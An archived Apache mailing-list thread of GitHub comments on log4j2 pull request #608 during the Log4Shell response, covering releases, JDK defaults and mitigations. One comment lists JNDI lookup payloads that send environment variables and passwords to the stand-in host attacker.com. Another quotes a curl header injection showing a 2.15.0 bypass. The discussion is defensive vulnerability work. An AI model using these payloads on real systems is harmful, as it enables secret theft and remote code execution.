To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-997537941
@quaff Thanks for noticing this!
The Log4j [security page](https://logging.apache.org/log4j/2.x/security.html) has already been updated to reflect this.
I believe we also already submitted an updated version of CVE-2021-45046 text and it is just taking some time for the mitre.org and nist.gov to reflect these changes.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] rgoers commented on a change in pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
rgoers commented on a change in pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#discussion_r759848498
##########
File path: log4j-core/src/test/java/org/apache/logging/log4j/core/lookup/JndiLdapLookupTest.java
##########
@@ -0,0 +1,124 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache license, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the license for the specific language governing permissions and
+ * limitations under the license.
+ */
+package org.apache.logging.log4j.core.lookup;
+
+import javax.naming.Context;
+import javax.naming.NamingException;
+import javax.naming.Reference;
+import javax.naming.Referenceable;
+import javax.naming.StringRefAddr;
+
+import org.apache.logging.log4j.Level;
+import org.apache.logging.log4j.message.SimpleMessage;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.zapodot.junit.ldap.EmbeddedLdapRule;
+import org.zapodot.junit.ldap.EmbeddedLdapRuleBuilder;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+/**
+ * JndiLookupTest
Review comment:
Rats. You just reminded me I need to rename this test as it is no longer specific to LDAP.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990753698
> I saw 2.15.0 was uploaded to the maven central:
>
> https://repo.maven.apache.org/maven2/org/apache/logging/log4j/log4j-api/2.15.0/
>
> Could anyone point out if this is the latest **RC2** version?
Yes, the released version 2.15.0 _is_ 2.15.0-rc2.
(The [web site](https://logging.apache.org/log4j/2.x/changes-report.html#a2.15.0) has an older date (2021-12-06) because it was generated first and not re-generated while release candidates RC1 and RC2 were being reviewed.)
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] TiloGit commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
TiloGit commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991215492
> > Can't find much info about it.
>
> grep-ing through the source code for jdk-11.0.1 we get `src/java.naming/com/sun/jndi/ldap/VersionHelper.java: PrivilegedAction<String> act = () -> System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");` and `src/jdk.naming.rmi/com/sun/jndi/rmi/registry/RegistryContext.java: PrivilegedAction<String> act = () -> System.getProperty( "com.sun.jndi.rmi.object.trustURLCodebase", "false"); ` So I'm guessing jdk-11.0.1 and later set these properties to false by default. _Edit: formatting_
any easy way to check the default value of a JRE?
like this:
```java
System.out.println("CVE check for com.sun.jndi.ldap.object.trustURLCodebase: " + prop.getProperty("com.sun.jndi.ldap.object.trustURLCodebase"));
```
see my Q here: https://stackoverflow.com/q/70308808/1747983
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] garydgregory commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
garydgregory commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991210213
> > @garydgregory is there a safe Java 11 version?
>
> Check the release notes for 11.0.1.
https://www.oracle.com/java/technologies/javase/11-0-1-relnotes.html
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ceki edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ceki edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991730650
Thank you for the detailed references.
**If the attacker can modify the config file on some system S, then S can be assumed to have been already penetrated to a large extent.**
If the attacker can modify log4j.properties (log4j 1.x), she does not need to download malicious code, she can just as easily place malicious class files in the classpath and have them executed.
So, in a very strict sense there is a vulnerability in log4j 1.x but nothing close to log parameter induced RCE.
> @ceki @remkop - it is not exactly true that it doesn't suffer from lookup issue though.
>
> If you look at how jndi works in 1.x you will find that there are two places where lookups are done - that is JMSAppender.java:207 and JMSAppender.java:222 - if you set TopicBindingName or TopicConnectionFactoryBindingName to something that JNDI can handle - for example "ldap://host:port/a" JNDI will do exactly the same thing it does for 2.x - so 1.x is vulnerable, just attack vector is "safer" as it depends on configuration rather than user input
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ceki edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ceki edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991754366
> I can't completely agree with this statement as I can see a whole number of use-cases where users can legitimately amend configuration or it's part for customization reasons..
You are right. There can a distinction between the ability to modify log4j config files of application A and the ability to modify the code of application A, with the latter requiring possibly a different privilege.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] jvz commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
jvz commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991754874
Handing over control of an application's logging system to untrusted users is already handing over the keys.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] Marcono1234 commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
Marcono1234 commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991396409
The latest Java versions are most likely still vulnerable to RCE. While they prevent loading classes from remote sources by default (`trustURLCodebase` property mentioned in the comments above), they still permit regular deserialization of classes on the classpath of the application. It has been shown multiple times in the past that JDK classes and classes from external libraries can be combined to create so called deserialization "gadget chains", which allow RCE.
And even if for the libraries you are using no such gadget chain is publicly known, it is likely that it just has not been discovered or publicly disclosed yet.
Could the misleading statement suggesting that certain Java versions are not affected by RCE please be removed from the CVE entry description?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] Firminator commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
Firminator commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991418303
> Also, if this matters to you so much, why not show it with a donation to ... or this project's main contributor https://github.com/sponsors/rgoers ?
Case of https://www.explainxkcd.com/wiki/index.php/2347:_Dependency ?
Glad this was prioritized after realizing the impact. Hats off. Keep up the good work.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992431427
@svdHero I am actually not very sure. Log4j 1.x can be configured programmatically or via configuration. If the `JMSAppender` is used there is some risk because that connects to a remote host. This StackOverflow post has some example configurations: https://stackoverflow.com/questions/11828232/log4j-jms-appender-example
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ceki edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ceki edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991799399
> Handing over control of an application's logging system to untrusted users is already handing over the keys.
Yes, that is probably true in many cases. However, one can imagine scenarios where there is an advantage to the attacker.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] mageshwarang commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
mageshwarang commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990765517
@remkop Thanks for clarifying on the log4j 1.x. One of my old application is still using `log4j-1.2.17` and few of my applications are using `log4j-over-slf4j`. But none of them have any dependencies on the `log4j-core`. So as you had mentioned here,
`I believe that applications that use log4j-api with log4j-to-slf4j, without using log4j-core, are not impacted by this vulnerability. (Because the lookup and JNDI implementations are in log4j-core.)`
I am not making any changes to my application - Not upgrading it to the `2.15.0` or not adding any system-properties (`log4j2.formatMsgNoLookups=true`) to overcome this vulnerability as my application will not be impacted.
Kindly correct me if I am wrong.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] garydgregory commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
garydgregory commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990885523
Yes, Java 8u121 (see
https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)
protects against remote code execution by defaulting
"com.sun.jndi.rmi.object.trustURLCodebase" and
"com.sun.jndi.cosnaming.object.trustURLCodebase" to "false".
Also 8u191 fixes a timeout issue in LDAPS.
Gary
On Fri, Dec 10, 2021, 06:11 peturthors ***@***.***> wrote:
> Hi there.
> Would setting the JVM property com.sun.jndi.ldap.object.trustURLCodebase
> = false mitigate this ?
> Thanks.
>
> —
> You are receiving this because you were mentioned.
> Reply to this email directly, view it on GitHub
> <https://github.com/apache/logging-log4j2/pull/608#issuecomment-990879257>,
> or unsubscribe
> <https://github.com/notifications/unsubscribe-auth/AAJB6N524IMFURJPP6LAU6LUQHN5XANCNFSM5JA3ZEGA>
> .
> Triage notifications on the go with GitHub Mobile for iOS
> <https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675>
> or Android
> <https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub>.
>
>
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] jvz commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
jvz commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991247673
RC2 was promoted to 2.15.0 last night. It should already be mirrored to Maven Central.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991982446
> @zhangyoufu @remkop the suggestion to
>
> > remove org/apache/logging/log4j/core/lookup/JndiLookup.class from log4j-core-*.jar as a workaround
>
> is called out as an option for releases >=2.0-beta9 and <=2.10.0 on the Apache security blog, but it should work for every version, correct? It's just that better mitigation options are available for 2.10.0+?
That is correct.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] philipwhiuk edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
philipwhiuk edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991305906
> https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/net/JMSAppender.html
This presumably requires configuring the appending though, so a simple `FileAppender`/`ConsoleAppender` wouldn't be vulnerable?
There's no lookup expansion in 1.x, right?
@garydgregory
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ahahu commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ahahu commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991354707
I'd also like to stress, that it is not sufficient to mitigate this vulnerability by using a JRE/JDK version which prevents the RCE, nor should you rely solely on your firewalls dropping outgoing TCP traffic.
The reason is, that the vulnerability also has the potential for leaking sensitive information via the LDAP request or via DNS.
Variable substition in the payload can be nested and one can use the "sys", "env" or "bundle" keywords to access sensitive data, which than is either used in the LDAP URL path or in the hostname.
Example for exfiltrating an environment variable containing a password used in the URL path
`${jndi:ldap://www.attacker.com:1389/${env:MYSQL_PASSWORD}`
This could be resolved to ldap://www.attacker.com:1389/mysecretpassword for example.
Example for exfiltrating an environment variable containing a password in the hostname part:
`${jndi:ldap://${env:MYSQL_PASSWORD}.attacker.com:1389/a}`
This could be resolved to ldap://mysecretpassword.attacker.com:1389/a for example
Of course this will fail if certain special characters are used in the password.
Example for exfiltrating the property "spring.datasource.password" from the application.properties file of a spring boot application:
`${jndi:ldap://${bundle:application:spring.datasource.password}.attacker.com:1389/a}`
Example for exfiltrating a system property that was passed through command line:
`${jndi:ldap://${sys:db.password}.attacker.com:1389/a}`
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] garydgregory commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
garydgregory commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993487126
> @vlsi I suggest you engage the Logging PMC on the logging-dev mailing list with your proposal. However, prior to doing so, please check out the Log4j 1.x code and try to build the project to see if your proposal is feasible.
WRT 1.x, there would also be the log4j 1 "extras" companion component to check: https://logging.apache.org/log4j/extras/
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] kmindi commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
kmindi commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993542299
thx @SpComb for confirming what I found.
I'm not quite sure what that means or where we should continue the discussion about that, if it s a new attack vector etc.
I just found (and this is also part of what I reported to the email adress for security of the logging lib) "Variable replacement works in a recursive way." https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html
Especially concerning is what you wrote regarding 2.15.0 ...
> > Here is also the diff to see what I changed to demonstrate vulnerable `${ctx.apiversion}` usage in the log pattern: [kmindi/log4shell-vulnerable-app@e539f7e](https://github.com/kmindi/log4shell-vulnerable-app/commit/e539f7e9a0c81e2c580d63caff5f4eae14033f19)
> > Can someone confirm this?
>
> Yes: `curl -v 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://example.net/test}'` results in a DNS lookup with 2.14.1, whereas the attacker-controlled input in the message field does not:
>
> The bad news: this seems to also work with 2.15.0, `X-Api-Version: ${jndi:ldap://localhost/test}` results in a TCP connection to localhost:389:
> This requires a [pattern configured to use `${ctx:...}` lookups](https://github.com/kmindi/log4shell-vulnerable-app/blob/e539f7e9a0c81e2c580d63caff5f4eae14033f19/src/main/resources/log4j2.properties#L15-L16) with [attacker-controlled `ThreadContext` values](https://github.com/kmindi/log4shell-vulnerable-app/blob/e539f7e9a0c81e2c580d63caff5f4eae14033f19/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java#L20-L22), which seem to get expanded recursively.
>
> The 2.15.x JNDI restrictions work correctly (no DNS lookups for `example.net`, only `localhost` connections), but the 2.10.x `-Dlog4j2.formatMsgNoLookups=true` / 2.15.x https://issues.apache.org/jira/browse/LOG4J2-3198 "disable message lookups by default" does not seem to apply to `${ctx:...}` lookups.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-995427431
> > @remkop Thank you for your reply I sent a vulnerability report to [private@logging.apache.org](mailto:private@logging.apache.org) on December 10 and received a reply and thanks from **Ralgh Goers** five hours later. **[CVE-2021-45046](https://github.com/advisories/GHSA-7rjr-3q55-vv33)** seems to have been proposed two days ago. It seems that I am ahead. I just hope my name: 4ra1n can join credit of `CVE-2021-45046` on the page `https://logging.apache.org/log4j/2.x/security.htm` I hope you can remember to add my name after your current work. I will be very grateful
>
@EmYiQing I updated the credit section for the `CVE-2021-45046` vulnerability on the [security](https://logging.apache.org/log4j/2.x/security.html#CVE-2021-45046) page. Changes to the CVE itself are in progress. Thank you again very much for your contribution!
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] drorbrillsnps commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
drorbrillsnps commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992699787
All Eclipse releases from the past years are using log4j 1.2.15
What is the recommendation for Eclipse users?
Is there a workaround to ensure Eclipse users are not vulnerable?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] vy commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
vy commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992934542
> I would also appreciate if security fixes could be back ported to 2.12.x as this is the last version that supports Java 7. We're still supporting Java 7 in the Elastic APM Java agent so we can't upgrade to 2.15.0, which requires Java 8. We fixed the vulnerability by excluding `JndiLookup` but this still causes vulnerability scanners to emit warnings which creates a lot of friction (see [elastic/apm-agent-java#2332](https://github.com/elastic/apm-agent-java/pull/2332)).
>
> Is back porting security fixes to the 2.12.x branch something you would consider? Is it something we could help you with?
Hey @felixbarny! I very well see your case. Mind creating a JIRA ticket, please? I suggest carrying out the backport work after the planned 2.16.0 release.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] kmindi edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
kmindi edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993542299
thx @SpComb for confirming what I found.
I'm not quite sure what that means or where we should continue the discussion about that, if it s a new attack vector etc.
I just found (and this is also part of what I reported already yesterday 22:02 CET unitl waiting 12h before publishing code/comments, to the email adress for security of the logging lib private@logging.apache.org) "Variable replacement works in a recursive way." https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html
Especially concerning is what you wrote regarding 2.15.0 ...
> > Here is also the diff to see what I changed to demonstrate vulnerable `${ctx.apiversion}` usage in the log pattern: [kmindi/log4shell-vulnerable-app@e539f7e](https://github.com/kmindi/log4shell-vulnerable-app/commit/e539f7e9a0c81e2c580d63caff5f4eae14033f19)
> > Can someone confirm this?
>
> Yes: `curl -v 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://example.net/test}'` results in a DNS lookup with 2.14.1, whereas the attacker-controlled input in the message field does not:
>
> The bad news: this seems to also work with 2.15.0, `X-Api-Version: ${jndi:ldap://localhost/test}` results in a TCP connection to localhost:389:
> This requires a [pattern configured to use `${ctx:...}` lookups](https://github.com/kmindi/log4shell-vulnerable-app/blob/e539f7e9a0c81e2c580d63caff5f4eae14033f19/src/main/resources/log4j2.properties#L15-L16) with [attacker-controlled `ThreadContext` values](https://github.com/kmindi/log4shell-vulnerable-app/blob/e539f7e9a0c81e2c580d63caff5f4eae14033f19/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java#L20-L22), which seem to get expanded recursively.
>
> The 2.15.x JNDI restrictions work correctly (no DNS lookups for `example.net`, only `localhost` connections), but the 2.10.x `-Dlog4j2.formatMsgNoLookups=true` / 2.15.x https://issues.apache.org/jira/browse/LOG4J2-3198 "disable message lookups by default" does not seem to apply to `${ctx:...}` lookups.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] philipwhiuk edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
philipwhiuk edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993440874
> I see a lot of comments that "log4j 1.x has reached its end of life". However, is there a chance there will be log4j 1.2.18 that just removes the offending features (e.g. JMSAppender, JmsSink, Chainsaw, SocketServer, SocketNode)?
>
> It just does not sound right that the only log4j team answer is "migrate to 2.x or try removing class files from jars".
The Socket vulnerability (7.5) has been around for more than 4 years. The SMTP vulnerability has been around for over a year. You've had ages to migrate libraries.
Also to be honest Log4J and Log4J 2 are really totally different projects. Log4J isn't so much deprecated as abandoned.
If it's important to Netcracker Tech maybe you could approach the Apache Software Foundation and ask to maintain Log4J 1.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] quericy removed a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
quericy removed a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993403042
> > @remkop嗨！感谢您的工作和社区通信。
> > 您是否计划将与此漏洞的对应关系向后移植到 2.x 的旧版本？
>
> 如果安全修复程序可以回移植到 2.12.x，我也将不胜感激，因为这是支持 Java 7 的最后一个版本。 我们仍然在 Elastic APM Java 代理中支持 Java 7，因此我们无法升级到 2.15.0，这需要 Java 8。我们通过排除来修复漏洞，`JndiLookup`但这仍然会导致漏洞扫描器发出警告，从而产生很多摩擦（请参阅[elastic/apm-agent-java#2332](https://github.com/elastic/apm-agent-java/pull/2332)）。
>
> 您是否会考虑将安全修复程序回移植到 2.12.x 分支？有什么我们可以帮你的吗？
Hi, we provide a patch-version based on 2.12.1(supportd Java7) that we hope it will be helpful to you. Release: https://github.com/quericy/logging-log4j2/releases/tag/2.12.1.sec1 . The pull request: https://github.com/apache/logging-log4j2/pull/608
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] quericy edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
quericy edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993403846
> > @remkop Hi! Thanks for your work and the community correspondence.
> > Do you have any plans to backport the correspondence to this vulnerability to older versions of the 2.x?
>
> I would also appreciate if security fixes could be back ported to 2.12.x as this is the last version that supports Java 7. We're still supporting Java 7 in the Elastic APM Java agent so we can't upgrade to 2.15.0, which requires Java 8. We fixed the vulnerability by excluding `JndiLookup` but this still causes vulnerability scanners to emit warnings which creates a lot of friction (see [elastic/apm-agent-java#2332](https://github.com/elastic/apm-agent-java/pull/2332)).
>
> Is back porting security fixes to the 2.12.x branch something you would consider? Is it something we could help you with?
Hi, we provide a patch-version based on 2.12.1(supportd Java7) that we hope it will be helpful to you. Release: https://github.com/quericy/logging-log4j2/releases/tag/2.12.1.sec1 . The pull request: https://github.com/apache/logging-log4j2/pull/627
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] garydgregory commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
garydgregory commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993449177
Good tips Philip!
>It just does not sound right that the only log4j team answer is "migrate
to 2.x or try removing class files from jars".
How does "unpaid volunteer" sound? ;-)
Gary
On Tue, Dec 14, 2021 at 6:21 AM Philip Whitehouse ***@***.***>
wrote:
> I see a lot of comments that "log4j 1.x has reached its end of life".
> However, is there a chance there will be log4j 1.2.18 that just removes the
> offending features (e.g. JMSAppender, JmsSink, Chainsaw, SocketServer,
> SocketNode)?
>
> It just does not sound right that the only log4j team answer is "migrate
> to 2.x or try removing class files from jars".
>
> The Socket vulnerability (7.5) has been around for more than 4 years. The
> SMTP vulnerability has been around for over a year. You've had ages to
> migrate libraries.
>
> If it's important to Netcracker Tech maybe you could approach the Apache
> Software Foundation and ask to maintain Log4J 1.
>
> —
> You are receiving this because you were mentioned.
> Reply to this email directly, view it on GitHub
> <https://github.com/apache/logging-log4j2/pull/608#issuecomment-993440874>,
> or unsubscribe
> <https://github.com/notifications/unsubscribe-auth/AAJB6N2TBRUZY3I6L4MEKMLUQ4SBPANCNFSM5JA3ZEGA>
> .
> Triage notifications on the go with GitHub Mobile for iOS
> <https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675>
> or Android
> <https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub>.
>
>
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] remkop commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
remkop commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-994653193
